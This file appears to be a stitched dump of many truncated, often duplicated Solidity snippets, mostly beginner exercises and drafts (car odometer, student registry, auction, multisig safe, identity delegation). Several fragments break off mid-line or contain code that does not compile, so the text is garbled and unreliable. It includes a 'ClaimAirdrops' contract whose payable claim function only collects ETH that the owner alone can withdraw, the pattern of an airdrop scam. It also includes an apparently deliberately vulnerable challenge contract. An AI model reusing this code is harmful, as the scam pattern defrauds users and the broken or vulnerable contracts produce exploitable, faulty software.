import "https://github.com/ProjectOpenSea/seaport/blob/main/contracts/interfaces/SeaportInterface.sol";
import "https://github.com/ProjectOpenSea/seaport/blob/main/contracts/lib/ConsiderationEnums.sol";
contract Vault {
address public creator; // Person who created the group chat.
string public name; // Group chat name.
mapping(address => address) public members; // Key: member wallet address, value: member wallet address (just needed a unique arbitrary value).
mapping(address => address) public ownedAssets; // Key: nft address, value: nft address (just needed a unique arbitrary value).
mapping(address => uint256) public amountRaisedForAsset; // Key: nft address, value: amount of Eth raised for that asset.
mapping(address => mapping(address => uint256)) public individualEscrowedAmounts; // Key: nft address, value: mapping of user address to amount of Eth they have escrowed to that pending asset.
mapping(address => ma
pragma solidity ^0.6.0;
import "https://github.com/OpenZeppelin/openzeppelin-solidity/contracts/token/ERC721/ERC721.sol";
// ERC-721 contract that represents unique, non-fungible tokens
contract MyERC721 is ERC721 {
// The base URI is a human-readable string that is used as the base URL
// for all token URIs
string private _baseURI;
constructor(string memory _name, string memory _symbol, string memory _baseURI)
ERC721(_name, _symbol)
public
{
// Set the base URI
_setBaseURI(_baseURI);
}
// Set the base URI for the contract
function setBaseURI(string memory _baseURI) public {
// Only the contract owner can set the base URI
require(msg.sender == owner, "Only the contract owner can set the base URI");
// Set the base URI
_setBaseURI(_baseURI);
}
// Internal function to set the base URI
function _setBaseURI(string memory _baseURI) internal {
// Set the base URI
_baseURI = _baseURI;
pragma solidity ^0.6.0;
import "https://github.com/OpenZeppelin/openzeppelin-solidity/contracts/token/ERC721/ERC721.sol";
// ERC-721 contract that represents unique, non-fungible tokens
contract MyERC721 is ERC721 {
// The base URI is a human-readable string that is used as the base URL
// for all token URIs
string private _baseURI;
constructor(string memory _name, string memory _symbol, string memory _baseURI)
ERC721(_name, _symbol)
public
{
// Set the base URI
_setBaseURI(_baseURI);
}
// Set the base URI for the contract
function setBaseURI(string memory _baseURI) public {
// Only the contract owner can set the base URI
require(msg.sender == owner, "Only the contract owner can set the base URI");
// Set the base URI
_setBaseURI(_baseURI);
}
// Internal function to set the base URI
function _setBaseURI(string memory _baseURI) internal {
// Set the base URI
_baseURI = _baseURI;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract HelloWorld{
string private helloMessage = 'Hello world';
function getHelloMessage() public view returns (string memory) {
return helloMessage;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.23;
contract DaicoVote {
... // Constructor
IDaicoToken public tokenContract; // Token contract interface
uint256 public endTime;
uint256 public cumulativeYes;
uint256 public cumulativeNo;
mapping(address => voteInstance) public voteByAddress; // Stores the individual votes
struct voteInstance {
uint256 time;
uint256 weight;
bool vote;
}
function tallyResult() public view returns (bool) {
uint256 abstain = (tokenContract.totalSupply().add(cumulativeNo)).sub(cumulativeYes);
return (cumulativeYes > cumulativeNo.add(calcAbstain())) ? true : false;
}
function finalResult() public view returns (bool) {
require(now > endTime);
return tallyResult();
}
// Record token holder balance in cumulative vote
function submitVote(bool _vote) public returns (bool) {
... // require positive token balance, active voting period and no previous vote for this address
// Get token holder balance
uint256 voteWeight = tokenContract.balan
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
/*
* Create smart contract for tracking cars repair history.
* Fill up the code blocks in Solidity for:
* - getCar()
* - createCar()
* - updateKilometers()
* - transferOwnership()
*/
pragma solidity ^0.4.21;
/**
* Contract to store the mileage of a car
*/
contract Odometer {
event Creation(
address indexed from,
string indexed vin
);
event Transfer(
address indexed from,
address indexed to,
string indexed vin
);
struct Car {
string vin;
address owner;
uint kilometers;
}
mapping (string => Car) cars;
function Odometer() public {}
/**
* Returns the current data of the given car
*/
function getCar(string vin) public constant returns(address owner, uint kilometers) {
/* -- Your code here -- */
return (cars[vin].owner, cars[vin].kilometers)
}
/**
* Creates a track record of a new car.
* Transaction will fail (and burn gas!) if the c
/*
* Create smart contract for tracking cars repair history.
* Fill up the code blocks in Solidity for:
* - getCar()
* - createCar()
* - updateKilometers()
* - transferOwnership()
*/
pragma solidity ^0.4.21;
/**
* Contract to store the mileage of a car
*/
contract Odometer {
event Creation(
address indexed from,
string indexed vin
);
event Transfer(
address indexed from,
address indexed to,
string indexed vin
);
struct Car {
string vin;
address owner;
uint kilometers;
}
mapping (string => Car) cars;
function Odometer() public {}
/**
* Returns the current data of the given car
*/
function getCar(string vin) public constant returns(address owner, uint kilometers) {
/* -- Your code here -- */
Car storage car = cars[vin];
return (car.owner, car.kilometers);
}
/**
* Creates a track record of a new car.
* Transaction will fai
/*
* Create smart contract for tracking cars repair history.
* Fill up the code blocks in Solidity for:
* - getCar()
* - createCar()
* - updateKilometers()
* - transferOwnership()
*/
pragma solidity ^0.4.21;
/**
* Contract to store the mileage of a car
*/
contract Odometer {
event Creation(
address indexed from,
string indexed vin
);
event Transfer(
address indexed from,
address indexed to,
string indexed vin
);
struct Car {
string vin;
address owner;
uint kilometers;
}
mapping (string => Car) cars;
function Odometer() public {}
/**
* Returns the current data of the given car
*/
function getCar(string vin) public constant returns(address owner, uint kilometers) {
/* -- Your code here -- */
owner = cars[vin].owner;
kilometers = cars[vin].kilometers;
asser (car)
}
/**
* Creates a track record of a new car.
* Transact
// Write an example of simple smart contract store with value setter and getter?
/* -- Your code here -- */
pragma solidity ^0.7.0;
contract Test {
uint256 testValue;
function constructor(){
}
function getValue() external view returns {
return testValue;
}
function setValue(uint256 _value) external {
testValue = _value;
}
/*
* Create smart contract for tracking cars repair history.
* Fill up the code blocks in Solidity for:
* - getCar()
* - createCar()
* - updateKilometers()
* - transferOwnership()
*/
pragma solidity ^0.4.21;
/**
* Contract to store the mileage of a car
*/
contract Odometer {
event Creation(
address indexed from,
string indexed vin
);
event Transfer(
address indexed from,
address indexed to,
string indexed vin
);
struct Car {
string vin;
address owner;
uint kilometers;
}
mapping (string => Car) cars;
function Odometer() public {}
/**
* Returns the current data of the given car
*/
function getCar(string vin) public constant returns(address owner, uint kilometers) {
/* -- Your code here -- */
owner = cars[vin].owner;
kilometers = cars[vin].kilometers;
asser (car)
}
/**
* Creates a track record of a new car.
* Transact
// Write an example of simple smart contract store with value setter and getter?
/* -- Your code here -- *
// Write an example of simple smart contract store
/* -- Your code here -- *
/*
* Create smart contract for tracking cars repair history.
* Fill up the code blocks in Solidity for:
* - getCar()
* - createCar()
* - updateKilometers()
* - transferOwnership()
*/
pragma solidity ^0.4.21;
/**
* Contract to store the mileage of a car
*/
contract Odometer {
event Creation(
address indexed from,
string indexed vin
);
event Transfer(
address indexed from,
address indexed to,
string indexed vin
);
struct Car {
string vin;
address owner;
uint kilometers;
}
mapping (string => Car) cars;
function Odometer() public {}
/**
* Returns the current data of the given car
*/
function getCar(string vin) public constant returns(address owner, uint kilometers) {
/* -- Your code here -- */
}
/**
* Creates a track record of a new car.
* Transaction will fail (and burn gas!) if the car already exists.
*/
function createCar(strin
pragma solidity ^0.4.21;
/**
* Contract to store the mileage of a car
*/
contract Odometer {
event Creation(
address indexed from,
string indexed vin
);
event Transfer(
address indexed from,
address indexed to,
string indexed vin
);
struct Car {
string vin;
address owner;
uint kilometers;
}
mapping (string => Car) cars;
function Odometer() public {}
/**
* Creates a track record of a new car.
* Transaction will fail (and burn gas!) if the car already exists.
*/
function createCar(string vin) public {
assert(cars[vin].owner == 0x0);
cars[vin].vin = vin;
cars[vin].owner = msg.sender;
cars[vin].kilometers = 0;
emit Creation(msg.sender, vin);
}
/**
* Updates the current kilometers of the car. Transactions fails and burns gas if
* the new kilometer value is lower than the old one.
*/
f
pragma solidity 0.8.17;
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "forge-std/Test.sol";
contract PriceTest is Test {
uint256 constant continuousFundraisingFeeDenominator = 100;
uint8 constant tokenDecimals = 18;
IERC20Metadata constant EUROC =
IERC20Metadata(0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c);
IERC20Metadata constant USDC =
IERC20Metadata(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20Metadata constant WBTC =
IERC20Metadata(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
IERC20Metadata constant WETH =
IERC20Metadata(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
function divideRoundUp(uint256 numerator, uint256 denominator)
public
pure
returns (uint256)
{
return
numerator % denominator == 0
? numerator / denominator
: numerator / denominator + 1;
}
function testEUROC() public {
uint256 tokenPrice = 2
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;
/*
학생관리 프로그램 확장판입니다.
아래에 11월 17, 21, 25일의 학생부 관리 프로그램의 문제가 있습니다.
------------------------------
11/17/2022
1번 지갑은 선생님입니다. 2,3,4,5,6,7,8,9,10번은 학생입니다.
이름, 번호, 생일, 점수 그리고 학점을 포함한 학생이라는 구조체를 생성하고 학생을 추가하고 삭제하고 조회하는 기능을 추가하세요.
학점은 90점 이상이면 A, 90점 미만 80점 이상이면 B, 80점 미만 70점 이상이면 C, 70점 미만 60점 이상이면 D 그 이외는 F 입니다.
학생 추가 기능 - 이 기능은 누구나 사용할 수 있습니다만 = 보통 학생들이 직접 사용할 예정입니다. 학생들이 본인의 정보를 추가할 때 자신의 지갑주소와 mapping이 될 수 있게 해주세요. (값은 임의대로 넣으세요)
학생 삭제 기능 - 이 기능은 특정 주소의 지갑소유자(선생님)만
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;
/*
학생관리 프로그램 확장판입니다.
아래에 11월 17, 21, 25일의 학생부 관리 프로그램의 문제가 있습니다.
------------------------------
11/17/2022
1번 지갑은 선생님입니다. 2,3,4,5,6,7,8,9,10번은 학생입니다.
이름, 번호, 생일, 점수 그리고 학점을 포함한 학생이라는 구조체를 생성하고 학생을 추가하고 삭제하고 조회하는 기능을 추가하세요.
학점은 90점 이상이면 A, 90점 미만 80점 이상이면 B, 80점 미만 70점 이상이면 C, 70점 미만 60점 이상이면 D 그 이외는 F 입니다.
학생 추가 기능 - 이 기능은 누구나 사용할 수 있습니다만 = 보통 학생들이 직접 사용할 예정입니다. 학생들이 본인의 정보를 추가할 때 자신의 지갑주소와 mapping이 될 수 있게 해주세요. (값은 임의대로 넣으세요)
학생 삭제 기능 - 이 기능은 특정 주소의 지갑소유자(선생님)만
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library Math {
enum Rounding {
Down, // Toward negative infinity
Up, // Toward infinity
Zero // Toward zero
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a == 0 ? 0 : (a - 1) / b + 1;
}
function mu
pragma solidity ^0.4.22;
contract helloWorld {
function renderHelloWorld () public pure returns (string) {
return 'Hello, World!';
}
pragma solidity ^0.4.26;
contract ClaimAirdrops {
address private owner; // current owner of the contract
constructor() public{
owner=msg.sender;
}
function getOwner(
) public view returns (address) {
return owner;
}
function withdraw() public {
require(owner == msg.sender);
msg.sender.transfer(address(this).balance);
}
function ClaimAirdrop() public payable {
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
// gkc_hash_code : 01GJ46WV2DZAGQM3EVM8ZB69CM
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "./interfaces/IDelegation.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
contract Registry is Initializable, AccessControlUpgradeable {
struct Registration {
uint256 tokenId;
address identityAddress;
}
function __Registry_init() internal onlyInitializing {}
function initialize() external virtual initializer {
__Registry_init();
__AccessControl_init();
_grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
mapping(address => Registration) public registers;
function register(address account, uint256 tokenId, IDelegation identityAddress) external onlyRole(DEFAULT_ADMIN_ROLE) {
// TODO: need require
registers[account].tokenId
// gkc_hash_code : 01GJ46WV2DZAGQM3EVM8ZB69CM
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "./interfaces/IDelegation.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
contract Registry is IDelegation, Initializable, EIP712Upgradeable, AccessControlUpgradeable {
struct Registration {
uint256 tokenId;
address identityAddress;
}
function __Registry_init() internal onlyInitializing {}
function _EIP712NameHash() internal pure override returns (bytes32) {
return keccak256(bytes(name()));
}
function _EIP712VersionHash() internal pure override returns (bytes32) {
return keccak256(bytes(version()));
}
function version() public pure returns (string m
// gkc_hash_code : 01GJ46WV2DZAGQM3EVM8ZB69CM
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "./interfaces/IDelegation.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
contract Registry is IDelegation, Initializable, EIP712Upgradeable, AccessControlUpgradeable {
struct Registration {
uint256 tokenId;
address identityAddress;
}
function __Registry_init() internal onlyInitializing {}
function _EIP712NameHash() internal pure override returns (bytes32) {
return keccak256(bytes(name()));
}
function _EIP712VersionHash() internal pure override returns (bytes32) {
return keccak256(bytes(version()));
}
function version() public pure returns (string m
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Registry {
struct Registration {
uint256 tokenId;
address identityAddress;
}
function register(address account, uint256 tokenId, IDelegation identityAddress) {}
function updateRegistration(address account, uint256 tokenId, IDelegation identityAddress) {}
function removeRegistration(address account) {}
function removeRegistration() {}
function validateCredentials(uint256 tokenId, string message, uint8 v, bytes32 r, bytes32 s) {}
}[start
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.16 <0.9.0;
contract SimpleStorage {
uintstoredData;
function set(uint x) public {
storedData = x;
}
function get() public view returns (uint) {
return storedData;
}
pragma solidity ^0.4.17;
contract Auction {
// Data
//Structure to hold details of the item
struct Item {
uint itemId; // id of the item
uint[] itemTokens; //tokens bid in favor of the item
}
//Structure to hold the details of a persons
struct Person {
uint remainingTokens; // tokens remaining with bidder
uint personId; // it serves as tokenId as well
address addr;//address of the bidder
}
mapping(address => Person) tokenDetails; //address to person
Person [4] bidders;//Array containing 4 person objects
Item [3] public items;//Array containing 3 item objects
address[3] public winners;//Array for address of winners
address public beneficiary;//owner of the smart contract
uint bidderCount=0;//counter
//functions
function Auction() public payable{ //constructor
//Part 1 Task 1. Initialize beneficiary with address of smart contract’s owner
/
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
contract CovidVaccination {
// structure for vaccination center
struct vaccinationCenter {
uint vc_id;
string vc_name;
string vc_district;
string vc_state;
}
mapping(uint => vaccinationCenter) public vc_data;
vaccinationCenter[] centers;
// structure for person/patient
struct person {
uint p_aadhaar;
string p_name;
string p_dob;
string p_address;
uint p_contact;
uint vc_id;
string p_date;
string p_time;
string p_health;
}
mapping(uint => person) public p_data;
person[] people;
// structure for vaccination
struct vaccination {
uint v_id;
uint p_aadhaar;
string v_doctor;
uint vc_id;
string v_date;
string v_time;
string v_dose;
}
mapping(uint => vaccination) public v_data;
vaccination[] vaccines;
// function to add vaccination ce
/*
Zhongtian Xia
zhongtix
PetShop.sol
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract PetShop {
//maps pet id number to address of pet owner
mapping (uint=>address) public petOwners;
//total number of pets in the PetShop
uint public numPets;
address public shopOwner;
constructor() {
numPets = 4;
shopOwner = msg.sender;
}
modifier ownerOnly()
{
require(
msg.sender == shopOwner
);
_;
}
//petId must be in the valid range
//pet must not already be adopted
//a pet costs 1 ether
//set pet owner in the mapping
//hint: use assertions
function adopt(uint petId) public payable {
require(petId < numPets,"petId must be in the valid range");
require(petOwners[petId] == address(0), "pet must not already be adopted");
if (msg.sender.balance <= 1 ether)
revert("Not enough Ether provided.");
payable(msg.sender).transfer(1 ether);
petOwners[petId] = msg.sender;
}
//returns the address of the
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.7.1;
import "hardhat/console.sol";
contract KYC {
struct Customer {
string userName;
string data;
bool kycStatus;
uint16 upVotes;
uint16 downVotes;
address bank;
}
struct Bank {
string name;
address ethAddress;
uint16 complaintsReported;
uint32 kycCount;
bool isAllowedToVote;
string regNumber;
}
struct KycRequest {
string userName;
address bank;
string data;
}
mapping(string => Customer) customers;
mapping(address => Bank) banks;
uint32 registeredBankCount = 0;
mapping(string => KycRequest) kycRequests;
mapping(address => bool) adminAccounts;
// Whoever deploys this code gets the admin priviledge
constructor() {
adminAccounts[msg.sender] = true;
}
// ** Bank Specific Functions **
function addCustomer(string memory _userName, string memory _customerData)
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract testContract {
function calculateRewardIfAvailableStaked() public view returns(uint stakedDuration){
uint stakedDuration = (block.timestamp - 1667260800) / 60 / 60 / 24;
return stakedDuration;
}
function abc() public view returns(uint stakedDuration){
string stakedDuration = "hello";
return stakedDuration;
}
pragma solidity ^0.7.1;
contract A {
uint8 a = 0;
}
contract B {
uint256 a = 0;
}
contract C {
uint32 a = 0;
}
contract D {
uint8 a = 0;
uint8 b = 0;
uint8 c = 0;
uint8 d = 0;
}
contract E {
uint32 a = 0;
uint32 b = 0;
uint32 c = 0;
uint32 d = 0;
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract IDelegation {
string public constant name = "ID management contract";
uint256 incDelegateId;
struct Delegate {
uint32 nonce;
address delegateAddr;
Role role;
Permission permission;
}
/**
* @dev Enumerated Permissions
* Roles have different permissions
* APPEND ONLY
*/
enum Permission {
NOz,
ANNOUNCE,
OWNERSHIP_TRANSFER,
DELEGATE_ADD,
DELEGATE_REMOVE
}
/**
* @dev Enumerated Roles
* Roles have different permissions
* APPEND ONLY
*/
enum Role {
NONE,
OWNER,
ANNOUNCER
}
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract IDelegation {
string public constant name = "ID management contract";
uint256 incDelegateId;
struct Delegate {
uint32 nonce;
address delegateAddr;
Role role;
Permission permission;
uint expiryBlock;
}
/**
* @dev Enumerated Permissions
* Roles have different permissions
* APPEND ONLY
*/
enum Permission {
NOz,
ANNOUNCE,
OWNERSHIP_TRANSFER,
DELEGATE_ADD,
DELEGATE_REMOVE
}
/**
* @dev Enumerated Roles
* Roles have different permissions
* APPEND ONLY
*/
enum Role {
NONE,
OWNER,
ANNOUNCER
}
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation stru
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
// The goal here is to create a multi-sig wallet safe
// Eventually the deployer will have to decide how many sigs are needed for the tranx to be approved
// The deployer will also be able to add/remove the allowed addresses
// BEFORE we get to that, let's create a SIMPLE wallet safe
// We'll expand upon its functionalities to make it a multi-sig safe bit by bit
// Create a cotract called Safe that: (This is how to make a wallet)
// 1 - Keeps track of users balance (balances mapping)
// 2 - Shows how many users have funds in the Safe
// 3 - Each user is represented by a Struct with at least: address, balance, unique ID
// 4 - A user can deposit, withdraw and tranfer funds to other users
// 5 - Create a modifier called "hasFunds" instead of require statements
// 6 - Create events for each functions
// 7 - Make an OnlyOwner Modifier. Use it in a function that will check the balance of the entire contract
// 8 - Use Assert(State the fact, lis
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract IDelegation {
string public constant name = "ID management contract";
struct DelegateAdd {
uint32 nonce;
address delegateAddr;
Role role;
Permission permission;
uint expiryBlock;
}
struct DelegateRemove {
uint32 nonce;
address delegateAddr;
}
/**
* @dev Enumerated Permissions
* Roles have different permissions
* APPEND ONLY
*/
enum Permission {
NOz,
ANNOUNCE,
OWNERSHIP_TRANSFER,
DELEGATE_ADD,
DELEGATE_REMOVE
}
/**
* @dev Enumerated Roles
* Roles have different permissions
* APPEND ONLY
*/
enum Role {
NONE,
OWNER,
ANNOUNCER
}
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
interface IDelegation {
struct DelegateAdd {
uint32 nonce;
address delegateAddr;
Role role;
}
struct DelegateRemove {
uint32 nonce;
address delegateAddr;
}
/**
* @dev Enumerated Permissions
* Roles have different permissions
* APPEND ONLY
*/
enum Permission {
NOz,
ANNOUNCE,
OWNERSHIP_TRANSFER,
DELEGATE_ADD,
DELEGATE_REMOVE
}
/**
* @dev Enumerated Roles
* Roles have different permissions
* APPEND ONLY
*/
enum Role {
NONE,
OWNER,
ANNOUNCER
}
event AddDelegate(address indexed delegate, Role role);
event RemoveDelegate(address indexed delegate);
/**
* @dev Add or change permissions for delegate
*/
function delegate(address newDelegate, Role role) external;
/**
* @dev Add or change permissions for delegate by EIP-712 signature
*/
function delegateBySig(
ad
pragma solidity ^0.4.21;
contract DonationChallenge {
struct Donation {
uint256 timestamp;
uint256 etherAmount;
}
Donation[] public donations;
address public owner;
function DonationChallenge() public payable {
require(msg.value == 1 ether);
owner = msg.sender;
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function donate(uint256 etherAmount) public payable {
// amount is in ether, but msg.value is in wei
uint256 scale = 10**18 * 1 ether;
require(msg.value == etherAmount / scale);
Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;
donations.push(donation);
}
function withdraw() public {
require(msg.sender == owner);
msg.sender.transfer(address(this).balance);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
/**
*Submitted for verification at Etherscan.io on 2017-06-01
*/
pragma solidity ^0.4.10;
/*
* This is an example gambling contract that works without any ABI interface.
* The entire game logic is invoked by calling the fallback function which
* is triggered, e.g. upon receiving a transaction at the contract address
* without any data sent along. The contract is attackable in a number of ways:
* - as soon as someone paid in Ether and starts the game, register with a
* large number of addresses to spam the player list and most likely win.
* - blockhash as source of entropy is attackable by miners
* - probably further exploits
* This only serves as a minimalistic example of how to gamble on Ethereum
* Author: S.C. Buergel for Validity Labs AG
*/
contract dgame {
uint public registerDuration;
uint public endRegisterTime;
uint public gameNumber;
uint public numPlayers;
mapping(uint => mapping(uint => address)) public players;
mapping(uint => mapping(address => bool)) publi
/**
*Submitted for verification at Etherscan.io on 2017-06-01
*/
pragma solidity ^0.4.10;
/*
* This is an example gambling contract that works without any ABI interface.
* The entire game logic is invoked by calling the fallback function which
* is triggered, e.g. upon receiving a transaction at the contract address
* without any data sent along. The contract is attackable in a number of ways:
* - as soon as someone paid in Ether and starts the game, register with a
* large number of addresses to spam the player list and most likely win.
* - blockhash as source of entropy is attackable by miners
* - probably further exploits
* This only serves as a minimalistic example of how to gamble on Ethereum
* Author: S.C. Buergel for Validity Labs AG
*/
contract dgame {
uint public registerDuration;
uint public endRegisterTime;
uint public gameNumber;
uint public numPlayers;
mapping(uint => mapping(uint => address)) public players;
mapping(uint => mapping(address => bool)) publi
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
uint _a = 1;
uint max = 0xff;
uint256 offset;
uint256 position;
mapping(uint256 => uint256) listings;
function add() public {
offset = _a / 256;
position = _a & 0xff;
listings[offset] |= (1 << position);
_a++;
}
function a() external view returns (uint) {return _a;}
function o() external view returns (uint) {return offset;}
function p() external view returns (uint) {return position;}
function l() external view returns (uint) {return listings[offset];}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
// The goal here is to create a multi-sig wallet safe
// Eventually the deployer will have to decide how many sigs are needed for the tranx to be approved
// The deployer will also be able to add/remove the allowed addresses
// BEFORE we get to that, let's create a SIMPLE wallet safe
// We'll expand upon its functionalities to make it a multi-sig safe bit by bit
// Create a cotract called Safe that: (This is how to make a wallet)
// 1 - Keeps track of users balance (balances mapping)
// 2 - Shows how many users have funds in the Safe
// 3 - Each user is represented by a Struct with at least: address, balance, unique ID
// 4 - A user can deposit, withdraw and tranfer funds to other users
// 5 - Create a modifier called "hasFunds" instead of require statements
// 6 - Create events for each functions
// 7 - Make an OnlyOwner Modifier. Use it in a function that will check the balance of the entire contract
// 8 - Use Assert(State the fact, lis
pragma solidity >=0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
contract Colnago is Ownable {
mapping(string => string) bikes;
mapping(string => mapping(uint256 => string)) updates;
mapping(string => uint256) updatesCountForBike;
function createAsset(string memory assetId, string memory data)
public
onlyOwner
returns (string memory)
{
require(
bytes(bikes[assetId]).length == 0,
"Duplicated ID."
);
bikes[assetId] = data;
return assetId;
}
function updateAsset(string memory assetId, uint256 updateId, string memory data)
public
onlyOwner
returns (string memory)
{
require(
bytes(updates[assetId][updateId]).length == 0,
"Asset/Update exists"
);
updates[assetId][updateId] = data;
updatesCountForBike[assetId] = updateId;
return updates[assetId][updateId];
}
function
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
// The goal here is to create a multi-sig wallet safe
// Eventually the deployer will have to decide how many sigs are needed for the tranx to be approved
// The deployer will also be able to add/remove the allowed addresses
// BEFORE we get to that, let's create a SIMPLE wallet safe
// We'll expand upon its functionalities to make it a multi-sig safe bit by bit
// Create a cotract called Safe that: (This is how to make a wallet)
// 1 - Keeps track of users balance (balances mapping)
// 2 - Shows how many users have funds in the Safe
// 3 - Each user is represented by a Struct with at least: address, balance, unique ID
// 4 - A user can deposit, withdraw and tranfer funds to other users
// 5 - Create a modifier called "hasFunds" instead of require statements
// 6 - Create events for each functions
// 7 - Make an OnlyOwner Modifier. Use it in a function that will check the balance of the entire contract
// 8 - Use Assert(State the fact, lis
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import { Context } from "@openzeppelin/contracts/utils/Context.sol";
import {_INTERFACEID_ERC725Y} from "@erc725/smart-contracts/contracts/constants.sol";
import { OwnableUnset } from "@erc725/smart-contracts/contracts/custom/OwnableUnset.sol";
import { ERC165Checker } from "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol";
import { ILSP6KeyManager} from "@lukso/lsp-smart-contracts/contracts/LSP6KeyManager/ILSP6KeyManager.sol";
import "hardhat/console.sol";
/**
* @title LOOKSO post validator
* @notice A validator tailored for Universal Profiles and content publishing
* @author https://lookso.io
* @dev Writes to the Universal Profile key/value store
*/
contract LooksoPostValidator2 is Context {
bytes32 public constant REGISTRY_KEY = keccak256("LSPXXSocialRegistry");
event newPost(bytes32 postHash, address author, uint256 timestamp);
/**
* @notice Universal Profile (message sender) makes a post
* @dev This contract
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
// The goal here is to create a multi-sig wallet safe
// Eventually the deployer will have to decide how many sigs are needed for the tranx to be approved
// The deployer will also be able to add/remove the allowed addresses
// BEFORE we get to that, let's create a SIMPLE wallet safe
// We'll expand upon its functionalities to make it a multi-sig safe bit by bit
// Create a cotract called Safe that: (This is how to make a wallet)
// 1 - Keeps track of users balance (balances mapping)
// 2 - Shows how many users have funds in the Safe
// 3 - Each user is represented by a Struct with at least: address, balance, unique ID
// 4 - A user can deposit, withdraw and tranfer funds to other users
// 5 - Create a modifier called "hasFunds" instead of require statements
// 6- Create events for each functions
// NB - no need to create a new token: we'll use ETH
// Use OpenZeppelin's SafeMath for uint operations
contract Safe {
mapping(address =>
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function sqrt(uint x) private pure returns (uint y) {
if(x == 0) return 0;
else
{
if(x <= 3) return 1;
uint z = (x + 1) /2;
y = x;
while(z < y){
y=z;
z= (x / z + z) / 2;
}
}
}
function D(int a, int b, int c) public pure returns (int){
return b * b - 4 * a * c;
}
function equation (int a, int b, int c) public pure returns (int, int){
var temp = D(a, b, c);
require (!(temp < 0));
int minusB = b * ( -1);
if(temp==0){
int x= ( minusB ) /2 * a;
return (x,x);
}
int x1 = minusB + int(sqrt(uint(temp))) /2 * a;
int x2 = minusB - int(sqrt(uint(temp))) /2 * a;
return (x1,x2);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
